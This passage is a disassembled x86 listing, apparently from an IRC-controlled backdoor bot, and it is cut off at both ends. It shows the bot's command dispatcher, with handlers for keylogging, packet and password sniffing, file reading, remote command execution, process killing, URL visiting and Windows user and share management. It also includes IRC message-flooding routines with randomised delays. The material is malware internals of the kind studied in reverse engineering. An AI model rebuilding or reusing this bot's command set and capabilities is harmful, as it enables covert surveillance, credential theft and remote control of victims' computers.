		push	offset dword_43D420
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aNoticeSS_3 ; "NOTICE %s	:%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418331
		add	esp, 14h
		call	_rand
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	ds:dword_4F6380	; Sleep
		push	offset dword_43D420
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aNoticeSS_4 ; "NOTICE %s	:%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418331
		add	esp, 14h

loc_40570D:				; CODE XREF: sub_401CC7+3960j
					; sub_401CC7+396Dj
		push	edi		; Str2
		push	offset aCtcp	; "ctcp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40582E
		cmp	[ebp+esi+Format], ebx
		jz	loc_40582E
		push	[ebp+esi+Format]
		lea	eax, [ebp+Dst]
		push	offset aJoinS_6	; "join	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418331
		add	esp, 10h
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aPrivmsgS_1 ; "PRIVMSG %s :"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418331
		add	esp, 10h
		call	_rand
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	ds:dword_4F6380	; Sleep
		push	[ebp+esi+Format]
		lea	eax, [ebp+Dst]
		push	offset aPrivmsgS_2 ; "PRIVMSG %s :"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418331
		add	esp, 10h
		call	_rand
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	ds:dword_4F6380	; Sleep
		push	[ebp+esi+Format]
		lea	eax, [ebp+Dst]
		push	offset aPrivmsgS_3 ; "PRIVMSG %s :"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418331
		add	esp, 10h
		call	_rand
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	ds:dword_4F6380	; Sleep
		push	[ebp+esi+Format]
		lea	eax, [ebp+Dst]
		push	offset aPrivmsgS_4 ; "PRIVMSG %s :"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418331
		add	esp, 10h

loc_40582E:				; CODE XREF: sub_401CC7+3A55j
					; sub_401CC7+3A62j
		push	edi		; Str2
		push	offset aMix	; "mix"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40595E
		cmp	[ebp+esi+Format], ebx
		jz	loc_40595E
		push	[ebp+esi+Format]
		lea	eax, [ebp+Dst]
		push	offset aJoinS_7	; "join	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418331
		add	esp, 10h
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aPrivmsgS_5 ; "PRIVMSG %s :"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418331
		add	esp, 10h
		call	_rand
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	ds:dword_4F6380	; Sleep
		push	offset dword_43D420
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aNoticeSS_5 ; "NOTICE %s	:%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418331
		add	esp, 14h
		call	_rand
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	ds:dword_4F6380	; Sleep
		push	offset dword_43D420
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aPrivmsgSS_3 ; "PRIVMSG %s :%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418331
		add	esp, 14h
		call	_rand
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	ds:dword_4F6380	; Sleep
		push	offset dword_43D420
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aNoticeSS_6 ; "NOTICE %s	:%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418331
		add	esp, 14h

loc_40595E:				; CODE XREF: sub_401CC7+3B76j
					; sub_401CC7+3B83j
		push	edi		; Str2
		push	offset aRegister ; "register"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4059A2
		mov	eax, [ebp+esi+Str2]
		cmp	eax, ebx
		jz	short loc_4059A2
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418331
		add	esp, 14h

loc_4059A2:				; CODE XREF: sub_401CC7+3CA6j
					; sub_401CC7+3CB1j
		push	edi		; Str2
		push	offset aOff_0	; "off"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4065C5
		mov	[ebp+arg_18], offset dword_4ED36C

loc_4059BE:				; CODE XREF: sub_401CC7+3D1Bj
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax-4], 1
		jnz	short loc_4059D4
		mov	eax, [eax]
		cmp	eax, ebx
		jbe	short loc_4059D4
		push	eax
		call	dword_4E42B8	; closesocket

loc_4059D4:				; CODE XREF: sub_401CC7+3CFEj
					; sub_401CC7+3D04j
		add	[ebp+arg_18], 210h
		cmp	[ebp+arg_18], offset dword_4F3A8C
		jl	short loc_4059BE
		cmp	[ebp+var_8], ebx
		jnz	loc_4065C5
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	offset unk_4427D0 ; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D6C
		add	esp, 14h
		jmp	loc_4065C5
; ---------------------------------------------------------------------------

loc_405A0C:				; CODE XREF: sub_401CC7+31ACj
		push	[ebp+arg_8]	; Str2
		push	offset aNick_1	; "nick"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409A57
		push	[ebp+arg_8]	; Str2
		push	offset aN	; "n"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409A57
		push	[ebp+arg_8]	; Str2
		push	offset aJoin_0	; "join"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409A34
		push	[ebp+arg_8]	; Str2
		push	offset aJ	; "j"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409A34
		push	[ebp+arg_8]	; Str2
		push	offset aPart_2	; "part"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409A18
		push	[ebp+arg_8]	; Str2
		push	offset aPt	; "pt"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409A18
		push	[ebp+arg_8]	; Str2
		push	offset aRaw	; "raw"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099DE
		push	[ebp+arg_8]	; Str2
		push	offset aR_2	; "r"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099DE
		push	[ebp+arg_8]	; Str2
		push	offset aKillthread ; "killthread"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40991B
		push	[ebp+arg_8]	; Str2
		push	offset aK	; "k"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40991B
		push	[ebp+arg_8]	; Str2
		push	offset aC_quit	; "c_quit"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409870
		push	[ebp+arg_8]	; Str2
		push	offset aC_q	; "c_q"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409870
		push	[ebp+arg_8]	; Str2
		push	offset aC_rndnick ; "c_rndnick"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409816
		push	[ebp+arg_8]	; Str2
		push	offset aC_rn	; "c_rn"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409816
		push	[ebp+arg_8]	; Str2
		push	offset aPrefix	; "prefix"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409801
		push	[ebp+arg_8]	; Str2
		push	offset aPr	; "pr"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409801
		push	[ebp+arg_8]	; Str2
		push	offset aOpen	; "open"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097D7
		push	[ebp+arg_8]	; Str2
		push	offset aO	; "o"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097D7
		push	[ebp+arg_8]	; Str2
		push	offset aServer_5 ; "server"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097BE
		push	[ebp+arg_8]	; Str2
		push	offset aSe	; "se"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097BE
		push	[ebp+arg_8]	; Str2
		push	offset aDns	; "dns"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409750
		push	[ebp+arg_8]	; Str2
		push	offset aDn	; "dn"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409750
		push	[ebp+arg_8]	; Str2
		push	offset aKillproc ; "killproc"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409724
		push	[ebp+arg_8]	; Str2
		push	offset aKp	; "kp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409724
		push	[ebp+arg_8]	; Str2
		push	offset aKill	; "kill"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096C9
		push	[ebp+arg_8]	; Str2
		push	offset aKi	; "ki"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096C9
		push	[ebp+arg_8]	; Str2
		push	offset aDelete	; "delete"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409691
		push	[ebp+arg_8]	; Str2
		push	offset aDel	; "del"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409691
		push	[ebp+arg_8]	; Str2
		push	offset aGet_3	; "get"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095A7
		push	[ebp+arg_8]	; Str2
		push	offset aGt	; "gt"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095A7
		push	[ebp+arg_8]	; Str2
		push	offset aList	; "list"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409589
		push	[ebp+arg_8]	; Str2
		push	offset aLi	; "li"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409589
		push	[ebp+arg_8]	; Str2
		push	offset aVisit	; "visit"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409499
		push	[ebp+arg_8]	; Str2
		push	offset aV	; "v"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409499
		push	[ebp+arg_8]	; Str2
		push	offset aMirccmd	; "mirccmd"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409464
		push	[ebp+arg_8]	; Str2
		push	offset aMirc	; "mirc"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409464
		push	[ebp+arg_8]	; Str2
		push	offset aCmd	; "cmd"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093FC
		push	[ebp+arg_8]	; Str2
		push	offset aCm	; "cm"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093FC
		push	[ebp+arg_8]	; Str2
		push	offset aReadfile ; "readfile"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409385
		push	[ebp+arg_8]	; Str2
		push	offset aRf	; "rf"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409385
		push	[ebp+arg_8]	; Str2
		push	offset aPsniff	; "psniff"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EF4
		push	edi		; Str2
		push	offset aOn	; "on"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EBC
		push	20h
		call	sub_40B9D6
		test	eax, eax
		pop	ecx
		jle	short loc_405DE6
		push	offset dword_442DEC
		jmp	loc_40724C
; ---------------------------------------------------------------------------

loc_405DE6:				; CODE XREF: sub_401CC7+4113j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+Format]
		mov	[ebp+var_EC4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E3C], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E38], eax
		jnz	short loc_405E28
		mov	esi, offset aHelp_0 ; "##help"
		push	offset byte_4E40CC ; Str2
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E28
		mov	esi, [ebp+Format]

loc_405E28:				; CODE XREF: sub_401CC7+4143j
					; sub_401CC7+4159j
		push	esi		; Format
		lea	eax, [ebp+var_EC0]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	offset asc_442E0C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	20h		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 14h
		mov	[ebp+var_E40], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC4]
		push	ebx
		push	eax
		push	offset sub_412A8E
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_E40]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_405EAB

loc_405E95:				; CODE XREF: sub_401CC7+41E2j
		cmp	[ebp+var_E34], ebx
		jnz	loc_4085D7
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_405E95
; ---------------------------------------------------------------------------

loc_405EAB:				; CODE XREF: sub_401CC7+41CCj
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		push	offset dword_442E3C
		jmp	loc_404BEE
; ---------------------------------------------------------------------------

loc_405EBC:				; CODE XREF: sub_401CC7+4103j
		push	edi		; Str2
		push	offset aOff	; "off"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4085D7
		push	ebx
		push	20h
		call	sub_40B989
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405EEA
		push	eax
		push	offset dword_442E7C
		jmp	loc_404BEE
; ---------------------------------------------------------------------------

loc_405EEA:				; CODE XREF: sub_401CC7+4216j
		push	offset dword_442EB8
		jmp	loc_40724C
; ---------------------------------------------------------------------------

loc_405EF4:				; CODE XREF: sub_401CC7+40EEj
		push	[ebp+arg_8]	; Str2
		push	offset aSniffer	; "sniffer"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406044
		push	edi		; Str2
		push	offset aOn_0	; "on"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40600C
		push	21h
		call	sub_40B9D6
		test	eax, eax
		pop	ecx
		jle	short loc_405F36
		push	offset unk_442EF0
		jmp	loc_40724C
; ---------------------------------------------------------------------------

loc_405F36:				; CODE XREF: sub_401CC7+4263j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+Format]
		mov	[ebp+var_FEC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F64], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_F60], eax
		jnz	short loc_405F78
		mov	esi, offset aHelp_0 ; "##help"
		push	offset byte_4E40D0 ; Str2
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F78
		mov	esi, [ebp+Format]

loc_405F78:				; CODE XREF: sub_401CC7+4293j
					; sub_401CC7+42A9j
		push	esi		; Format
		lea	eax, [ebp+var_FE8]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	offset asc_442F10 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	21h		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 14h
		mov	[ebp+var_F68], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FEC]
		push	ebx
		push	eax
		push	offset sub_413119
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_F68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_405FFB

loc_405FE5:				; CODE XREF: sub_401CC7+4332j
		cmp	[ebp+var_F5C], ebx
		jnz	loc_4085D7
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_405FE5
; ---------------------------------------------------------------------------

loc_405FFB:				; CODE XREF: sub_401CC7+431Cj
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		push	offset unk_442F40
		jmp	loc_404BEE
; ---------------------------------------------------------------------------

loc_40600C:				; CODE XREF: sub_401CC7+4253j
		push	edi		; Str2
		push	offset aOff_1	; "off"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4085D7
		push	ebx
		push	21h
		call	sub_40B989
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_40603A
		push	eax
		push	offset unk_442F80
		jmp	loc_404BEE
; ---------------------------------------------------------------------------

loc_40603A:				; CODE XREF: sub_401CC7+4366j
		push	offset unk_442FC0
		jmp	loc_40724C
; ---------------------------------------------------------------------------

loc_406044:				; CODE XREF: sub_401CC7+423Ej
		push	[ebp+arg_8]	; Str2
		push	offset aIdent	; "ident"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406117
		push	edi		; Str2
		push	offset aOn_1	; "on"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060DF
		push	2
		call	sub_40B9D6
		test	eax, eax
		pop	ecx
		jle	short loc_406082
		push	offset dword_442FFC
		jmp	loc_40724C
; ---------------------------------------------------------------------------

loc_406082:				; CODE XREF: sub_401CC7+43AFj
		lea	eax, [ebp+Dst]
		push	offset asc_44301C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	2		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410CB5
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_45713C[esi], eax
		jnz	loc_4085D7
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		push	offset dword_443048
		jmp	loc_404BEE
; ---------------------------------------------------------------------------

loc_4060DF:				; CODE XREF: sub_401CC7+43A3j
		push	edi		; Str2
		push	offset aOff_2	; "off"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4085D7
		push	ebx
		push	2
		call	sub_40B989
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_40610D
		push	eax
		push	offset dword_443080
		jmp	loc_404BEE
; ---------------------------------------------------------------------------

loc_40610D:				; CODE XREF: sub_401CC7+4439j
		push	offset dword_4430B8
		jmp	loc_40724C
; ---------------------------------------------------------------------------

loc_406117:				; CODE XREF: sub_401CC7+438Ej
		push	[ebp+arg_8]	; Str2
		push	offset aKeylog	; "keylog"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406291
		push	edi		; Str2
		push	offset aOn_2	; "on"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406188
		push	edi		; Str2
		push	offset aFile	; "file"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406188
		push	edi		; Str2
		push	offset aOff_3	; "off"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4085D7
		push	ebx
		push	23h
		call	sub_40B989
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_40617E
		push	eax
		push	offset dword_443178
		jmp	loc_404BEE
; ---------------------------------------------------------------------------

loc_40617E:				; CODE XREF: sub_401CC7+44AAj
		push	offset dword_4431B4
		jmp	loc_40724C
; ---------------------------------------------------------------------------

loc_406188:				; CODE XREF: sub_401CC7+4476j
					; sub_401CC7+4487j
		push	23h
		call	sub_40B9D6
		test	eax, eax
		pop	ecx
		jle	short loc_40619E
		push	offset dword_4430EC
		jmp	loc_40724C
; ---------------------------------------------------------------------------

loc_40619E:				; CODE XREF: sub_401CC7+44CBj
		mov	eax, [ebp+arg_4]
		push	edi		; Str2
		mov	[ebp+var_C5C], eax
		mov	eax, [ebp+var_4]
		push	offset aFile_0	; "file"
		mov	[ebp+var_BD4], eax
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4061CD
		mov	[ebp+var_BD0], 1
		jmp	short loc_4061D6
; ---------------------------------------------------------------------------

loc_4061CD:				; CODE XREF: sub_401CC7+44F8j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_BD0], eax

loc_4061D6:				; CODE XREF: sub_401CC7+4504j
		mov	esi, [ebp+esi+Format]
		cmp	esi, ebx
		jnz	short loc_4061FD
		mov	esi, offset aHelp_1 ; "##help"
		push	offset byte_4E40D4 ; Str2
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4061FD
		mov	esi, [ebp+Format]

loc_4061FD:				; CODE XREF: sub_401CC7+4518j
					; sub_401CC7+452Ej
		push	esi		; Format
		lea	eax, [ebp+var_C54]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	offset asc_443114 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	23h		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 14h
		mov	[ebp+var_C58], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C5C]
		push	ebx
		push	eax
		push	offset sub_4127AD
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_C58]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_406280

loc_40626A:				; CODE XREF: sub_401CC7+45B7j
		cmp	[ebp+var_BCC], ebx
		jnz	loc_4085D7
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_40626A
; ---------------------------------------------------------------------------

loc_406280:				; CODE XREF: sub_401CC7+45A1j
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		push	offset dword_443138
		jmp	loc_404BEE
; ---------------------------------------------------------------------------

loc_406291:				; CODE XREF: sub_401CC7+4461j
		push	[ebp+arg_8]	; Str2
		push	offset aNet	; "net"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406569
		cmp	dword_4E42F0, ebx
		jz	short loc_4062C2
		cmp	dword_4E4318, ebx
		jz	short loc_4062C2
		push	offset unk_44335C
		jmp	loc_40891F
; ---------------------------------------------------------------------------

loc_4062C2:				; CODE XREF: sub_401CC7+45E7j
					; sub_401CC7+45EFj
		cmp	[ebp+var_C], ebx
		jz	loc_407028
		mov	eax, [ebp+esi+Format]
		mov	[ebp+Src], ebx
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_4062EA
		push	eax		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		pop	ecx
		mov	[ebp+Src], eax
		pop	ecx

loc_4062EA:				; CODE XREF: sub_401CC7+4613j
		push	edi		; Str2
		push	offset aStart	; "start"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406343
		cmp	[ebp+arg_18], ebx
		jz	short loc_406317
		push	[ebp+Src]
		push	3
		call	sub_4195C6
		pop	ecx
		pop	ecx
		push	eax
		push	offset aS_3	; "%s"
		jmp	loc_407019
; ---------------------------------------------------------------------------

loc_406317:				; CODE XREF: sub_401CC7+4637j
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_419860
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_406339
		push	offset unk_4431F0
		jmp	loc_40891F
; ---------------------------------------------------------------------------

loc_406339:				; CODE XREF: sub_401CC7+4666j
		push	offset unk_443214
		jmp	loc_40891F
; ---------------------------------------------------------------------------

loc_406343:				; CODE XREF: sub_401CC7+4632j
		push	edi		; Str2
		push	offset aStop	; "stop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40636B
		push	[ebp+Src]
		push	4
		call	sub_4195C6
		pop	ecx
		pop	ecx
		push	eax
		push	offset aS_4	; "%s"
		jmp	loc_407019
; ---------------------------------------------------------------------------

loc_40636B:				; CODE XREF: sub_401CC7+468Bj
		push	edi		; Str2
		push	offset aPause	; "pause"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406393
		push	[ebp+Src]
		push	5
		call	sub_4195C6
		pop	ecx
		pop	ecx
		push	eax
		push	offset aS_5	; "%s"
		jmp	loc_407019
; ---------------------------------------------------------------------------

loc_406393:				; CODE XREF: sub_401CC7+46B3j
		push	edi		; Str2
		push	offset aContinue ; "continue"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4063BB
		push	[ebp+Src]
		push	6
		call	sub_4195C6
		pop	ecx
		pop	ecx
		push	eax
		push	offset aS_6	; "%s"
		jmp	loc_407019
; ---------------------------------------------------------------------------

loc_4063BB:				; CODE XREF: sub_401CC7+46DBj
		push	edi		; Str2
		push	offset aDelete_0 ; "delete"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4063E3
		push	[ebp+Src]
		push	1
		call	sub_4195C6
		pop	ecx
		pop	ecx
		push	eax
		push	offset aS_7	; "%s"
		jmp	loc_407019
; ---------------------------------------------------------------------------

loc_4063E3:				; CODE XREF: sub_401CC7+4703j
		push	edi		; Str2
		push	offset aShare	; "share"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406465
		cmp	[ebp+arg_18], ebx
		jz	short loc_406438
		cmp	[ebp+var_8FC], bl
		jz	short loc_40641A
		push	ebx		; int
		push	[ebp+arg_18]	; Str
		push	1		; int
		call	sub_41999D
		add	esp, 0Ch
		push	eax
		push	offset aS_8	; "%s"
		jmp	loc_407019
; ---------------------------------------------------------------------------

loc_40641A:				; CODE XREF: sub_401CC7+4738j
		push	[ebp+esi+Str2]	; int
		push	[ebp+arg_18]	; Str
		push	ebx		; int
		call	sub_41999D
		add	esp, 0Ch
		push	eax
		push	offset aS_9	; "%s"
		jmp	loc_407019
; ---------------------------------------------------------------------------

loc_406438:				; CODE XREF: sub_401CC7+4730j
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_419B93
		add	esp, 10h
		test	eax, eax
		jz	short loc_40645B
		push	offset unk_443278
		jmp	loc_40891F
; ---------------------------------------------------------------------------

loc_40645B:				; CODE XREF: sub_401CC7+4788j
		push	offset unk_44329C
		jmp	loc_40891F
; ---------------------------------------------------------------------------

loc_406465:				; CODE XREF: sub_401CC7+472Bj
		push	edi		; Str2
		push	offset aUser_0	; "user"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40651D
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_4064F0
		cmp	[ebp+var_8FC], bl
		jz	short loc_4064AC
		push	[ebp+var_4]
		push	[ebp+Format]
		push	[ebp+arg_4]
		push	ebx
		push	eax
		push	1
		call	sub_419CB4
		add	esp, 18h
		push	eax
		push	offset aS_10	; "%s"
		jmp	loc_407019
; ---------------------------------------------------------------------------

loc_4064AC:				; CODE XREF: sub_401CC7+47C0j
		push	[ebp+var_4]
		mov	esi, [ebp+esi+Str2]
		cmp	esi, ebx
		push	[ebp+Format]
		push	[ebp+arg_4]
		jz	short loc_4064D9
		push	esi
		push	eax
		push	ebx
		call	sub_419CB4
		add	esp, 18h
		push	eax
		push	offset aS_11	; "%s"
		jmp	loc_407019
; ---------------------------------------------------------------------------

loc_4064D9:				; CODE XREF: sub_401CC7+47FAj
		push	ebx
		push	eax
		push	2
		call	sub_419CB4
		add	esp, 18h
		push	eax
		push	offset aS_12	; "%s"
		jmp	loc_407019
; ---------------------------------------------------------------------------

loc_4064F0:				; CODE XREF: sub_401CC7+47B8j
		push	ebx		; int
